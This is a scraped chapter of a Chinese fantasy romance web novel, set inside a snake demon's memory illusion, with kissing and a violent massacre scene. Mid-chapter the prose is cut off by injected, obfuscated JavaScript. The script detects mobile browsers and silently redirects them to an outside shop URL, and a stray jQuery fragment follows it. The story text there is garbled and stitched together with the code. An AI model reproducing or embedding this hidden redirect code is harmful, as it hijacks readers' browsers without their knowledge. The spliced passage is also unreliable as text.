文趣网 > 其他小说 > 绑定恶女系统被正道攻略 > 41. 第 41 章
    幻境外,百蛇退去,周遭恢复来时的宁静,邑汶捂住渗血的下巴,默不作声地起身飞至一树枝干,又跳往另一片山头,一看就是要逃的架势。

    柳百词追在他身后,提剑相对,怒斥道:“你把掌门和小师妹怎么了!”

    “是生是死看他们的造化,谁让,”邑汶现出粗长有力的蛇尾,甩尾朝他扇去,恶狠狠道:“你们要来夺不该夺的东西。”

    东西?

    柳百词正要争辩,他们要夺的是人啊。

    思索间,那蛇尾力大无穷,不留情地甩了他一巴掌,把他甩得龇牙咧嘴。

    他被从半空拍下来,毫无防备地下坠,冷翘无言翻他一个白眼,冷冷伸剑撑住他落地后倒的身体,“废物。”

    柳百词无端被骂,气得直跺脚,摸着红肿的脸可怜巴巴地看着冷翘,直指一直处于后方不出力的丰权,“他才是真正的废物,从头到尾都在观望,压根就不是诚心来帮忙的。”

    沈成溪和冷翘默契地同时说:“你现在才知道?”

    “……”

    丰权被戳穿,倒也不为所动,挑起一根手指,指向僵站不动的晏晦明和应璇,“你们现在,还是想着怎么让他们醒过来吧。”

    柳百词幡然,上前一把拎住丰权的衣领,“好啊,我方才就发现了,你没开灵气罩,那些蛇也不伤你,该不会,公主被抓,有你们寂渊楼的一份手笔吧!”

    丰权拂手,一阵强力将柳百词逼退几步,他淡眼瞧他,“你这脑子,难怪追不到心悦之人。”

    柳百词被人看穿,嘴唇张张合合,愣是没了气焰,“那不然,你有办法?”

    幻境内,小屋被强风吹得轻摇慢晃。

    门、窗皆漏了个缝,“嘎吱嘎吱”作响。

    透过缝隙看去,小床上的两人上下叠在一块,亲密无间。

    他们顶着公主和邑汶的身份,在不属于他们的记忆里吻向彼此。

    沉下身子衔住应璇的双唇时,晏晦明能感受到,除了真切的触感和吐息外,接吻的动作也被死死地控制了。

    邑汶回应公主的吻很轻,仅仅是唇面相贴,稍有磨蹭,连转向、啃咬和探舌吮津都不会。

    停于表面的触碰,让晏晦明胸腔里堵着一股燥火,如岩溶爆发般,快要炸开了,却只能像个什么都不懂的毛头小子一样,堵着她的唇瓣一遍又一遍地碾摁、轻擦。

    他的两截小臂撑在她身侧,紧张得微微发抖,下身悬浮,生怕碰到她。

    反而是公主大胆地撩拨他,掌心从后颈往下触,抚过他结实的背肌,攀住他紧实的腰身,玩似地数他腰腹的垒块,冲他盈盈地笑。

    然而,片刻过后,她的笑仍保持不动,场景并没有切换。

    晏晦明察觉到记忆的空隙,趁着这时,唤她名字,“应璇,醒醒!”

    应璇呆呆地做着一个表情,毫无反应,泛着水光的唇面在他长久的擦蹭下都有些红/肿了。

    他沉下气,运力咬牙将手臂从定格里拔出来,捏住她下巴,张口朝她上唇咬去。

    带着点狠劲的咬扯,让应璇感到丝丝渗入身体的痛感,她的唇舌被人含住,带腥的血气漫散进来口腔,她猛然定神,意识回笼。

    她没想到,第一眼看见的,会是这张近在咫尺的脸,俯在她身上吞没她的呼吸,交换彼此的津/液。

    应璇被动地仰面承接他近乎啃噬的深咬,以至于进入耳蜗的水声都多了分惹耳的暧昧,她动身想做出点反应,却发现手脚都被钉死了般,难以动弹。

    呜咽从她唇中溢出来,他动情的双眸缓缓睁开,依依不舍地从她唇上退开,喉结重滚,脸上食髓知味的神色渐浓,哑着声道:“你醒了。”

    应璇皱着眉心,呜嗯向他反抗。

    晏晦明不急不慢地解释道:“我们中了那条蛇的幻术,进了他和公主的记忆里,成了记忆里的他们。”

    应璇两唇张张合合,哑着声着急。

    他抚开她紧绷的眉心,耐心安抚道:“别急,记忆偶尔会像方才那样有一段暂停的时间,我们趁着这时想办法。”

    应璇瞪着他,回想起刚刚他陶然醉吻的模样,确定不是趁机占她便宜吗?

    晏晦明正欲开口想再说些什么,两人眼前一白,再清明时,已至沂蒙宫中。

    大殿内,肃静非常,唯有低声啜泣,抽吸间极力压制自己发出声音,反而更显得压抑无奈。

    应璇身着宫服,跪地靠在国主腿侧,拉扯着他的龙袍,哭得双目通红,“父王,求您,不要这样对女儿好不好。”

    “您是一国天子,臣民都信仰你,他不过是一族之主,也心系子民。”她抽噎不断,说话断断续续,快要提不起气来,“你放了那些小蛇们吧,父王——”

    “一个魅惑人心的祸害,你也敢拿与孤作比?”国主失望地垂眸,捧住她的脸,指腹疼爱地拭她源源不断的泪水,“你以后可是要继承大统的,怎能为了儿女情长,如此软弱不堪。”

    “不会的,只要父王放了他们,女儿发誓,从今往后,定不会与邑汶有半点瓜葛。”应璇抬指起势,恳求道。

    “你以为他是真心喜欢你吗?你以为他会就此罢休吗?”国主语气激动,指着她鲜活的心脏,“他是想偷你的心!”

    应璇湿眸不解地频频扇动,浑然不知地捂住什胸口,“什、什么?不可能。”

    国主仰面闭目,哀哀地长吸一口气,“你这样,让我无言面对魔主。”

    “想当年,我开疆拓土,何等威风,如果不是魔主在战场上救我一命,我怎么能坐上这个位置……”他眼中哀怨,“从那时起我便发誓,从今往后,我要让后辈都由女子继承王位,可惜,魔主已逝,我终究是辜负了她……”

    他听着女儿凄楚的哭泣,摇头自语道:“不,还有机会。”

    应璇茫然地仰起头,国主已捏住她瘦小的肩膀,一把将她提起来,拖着她往城门走。

    长廊漫长,高墙蔽日。

    她跌撞的步子将她的回忆晃回多年前,她还是个蹒跚学步的孩童时,父王眼里没有期许,只有她能健康快乐长大的祝愿。

    应璇仰头,不禁哀叹,她竟不知,这条路长远,难走到她脚底发痛。

    国主将她压在墙头,士兵们把数条取过毒液的银纹蛇甩至墙外,用钉子钉住入它们七寸,一条接一条地钉在城墙之上。

    近百米的城墙,挂满了痛苦蜷缩起蛇尾的银纹蛇。

    应璇泪眼模糊,在叫喊、制止中惶然看见远站在城外,形单影只的晏晦明。

    她摇着头,泪如倾倒的水碗,泼洒而出,“邑汶,对不起,不要过来……”

    或许是公主的痛太过于深切,应璇以她的身份亲历目睹着这一切,心腔几乎收缩到快要炸裂。

    晏晦明步步走近,模糊的身形在墙下清晰,他双拳紧攥,额头的青筋几乎都爆了出来,极力克制着自己颤抖的声线,“国主,我与你无冤无仇,你要杀就杀了我,不要残害无辜。”

    “邑汶,你身份低下,一身腥臭,拐走一国公主,论罪,当诛。”国主轻描淡写,“但佑玉实在喜欢你,孤愿意绕你一命。”

    “你若想和佑玉在一起,那便帮她一个忙吧。”

    国主把住她的手腕,往她手里塞了把刀,近百个士兵齐齐持刀上前,对准了蛇腹。

    “父王,不、不要。”她嘶吼着挣脱,反被更猛烈的力道带她刺入蛇皮,血沿着刀尖往外漫。

    其余士兵争先恐后地下手,一时间,城墙被鲜血流淌成一座红城。

    国主的手带动她往下剖,“作为储君,这是孤教你的第一课。”

    应璇泡肿的泪眼与气得发颤的晏晦明相望,一种强烈的共鸣扫描仪似把她穿透,仿佛她也做过这样艰难险恶的抉择。

    他有妖力,可他什么也没做。

    晏晦明听着邑汶的心声,他曾答应过公主,不会对她的百姓和父王动用妖力。

    如今,他秉持承诺,她却将刀刺向了他的子民。

    剖骨之时,国主扬手,将军大喊:“放箭!”

    国主的手愈发用力地扎下,将皮肉刺穿

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17667023|203465||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,血溅到她的脸上,眼里,惊愕的瞳孔中,照见数箭齐飞的快影,往晏晦明的方向扎去。

    应璇的手脚不由自主地发颤,担忧?恐惧?一种超出记忆情感的情绪从脚底蹿高。

    那一瞬,她甚至害怕,晏晦明会不会有危险。

    只见他现出十余米长的蛇尾,真身吐信哀嚎,甩尾闪避掉开凡人制造的烂铁,然而,遗漏的箭矢扎入他肉身,那箭端不知涂了什么,他疼得撕心裂肺。

    士兵们趁着这时,抽出更多箭矢,万箭齐发,如一张天罗密布的巨网,让他退无可退。

    不行。

    应璇心里闪过这个念头。

    他就算死,也该死在她手下才对。

    心底有一个念头愈演愈烈——她无法亲眼看着晏晦明在她面前以这种惨烈的方式死去。

    双手不受控地颤动起来,应璇垂下头,眸光凝沉,杀意,暌违已久的杀意,趁虚而入般侵占她的大脑。

    她破力挣开国主,攀上城墙后,毫不犹豫地跳了下去。

    晏晦明眸中闪过惊乍,这不过是一场幻境,他吃点苦头,死不了,应璇肉身不稳,贸然跳下,可就要成肉泥了。

    好端端的,犯什么傻!

    他额角绷直,蓄力强行破开束缚,不顾箭矢刺入肌肤,他失去了痛觉般,闪现至她身下,在她落地之前,稳稳当当地接住她,旋身站定。

    顷刻,记忆的场景停滞,除了他们,其余人都保持着那一秒的动作不动。

    人近在怀,晏晦明才看清她的不对劲,她周身冒着异常的高温,手脚还有余颤,他把住她脉息,气息错乱,无头苍蝇似乱窜。

    公主的情绪大开大合,她身体承受不住。

    “往日不是很聪明么?”晏晦明气极一时,不由得批评她,“借了公主的胆子,连城墙都敢跳。”

    应璇憋着一口气,杀意像噬咬的蚂蚁,她剑悬一刻,已没心思给自己争辩,用最后的力气咬在他肩上,直至尝了一口鲜腥,才缓过神来,闷声道:“看不得他们杀你。”

    晏晦明瞳孔一震,“什……什么?”

    “这是佑玉对邑汶说的话,还是,”像是久旱逢甘霖,他甚至不太相信面前的人,会是应璇,“你对我说的?”

    应璇嗅着他身上的血腥味,好难闻。

    以后杀他,可不能见血的方式。

    “是佑玉对邑汶说的。”应璇轻声答。

    晏晦明自嘲地松了口气,勉强一笑,那就对了,现在的应璇,怎么可能会担心她,想杀他还来不及。

    转息间,她的声线如一记脆响的轻铃,震动心波,“也是,我对你说的。”

    晏晦明僵持地站在那,任由她那句话,一个字一个字反复敲击着两耳,“所以你——”

    天顶破开乍然破开一道裂口,大地出现裂隙,松松垮垮地下沉,城墙坍塌,泥尘漫天,把尸山血海埋于黄沙之中,也把他未说出口的话压回腹中。

    视觉再清晰时,三张放大的脸贴面将他们环绕,三双眼睛直勾勾地瞪着他们。

    柳百词嘀咕道:丰权是认真的吗?我们就这样一直盯着,就能把他们召唤回来?

    三人的眼神就像在观摩什么新鲜玩意,应璇不好意思地别开脸,“师兄师姐,我无碍了。”

    柳百词眼睛一亮,“诶!果真有效啊。”

    晏晦明阴冷的眼神斜来,他摸了把还疼着的脸,三人有颇有眼见地自觉退让开。

    应璇回忆起幻境里的一帧一瞬,面上一热,想一个人静一静。

    她转身要走,却忘了手上还被晏晦明牢牢拷着,巧的是,手环的拉力下,有他提指施法的附加。

    应璇重新撞进他怀中,仰头碰上他探寻的目光,未完的话,在他直勾勾的视线里问完整,“所以,你是在担心我吗?”

    她抿紧唇,是担心啊,担心杀掉他的人不是她。

    然而,久违的系统报喜声,把他们的思绪一一破开,摊于明面。

    【叮咚,检测到攻略对象好感+10,当前好感值10。】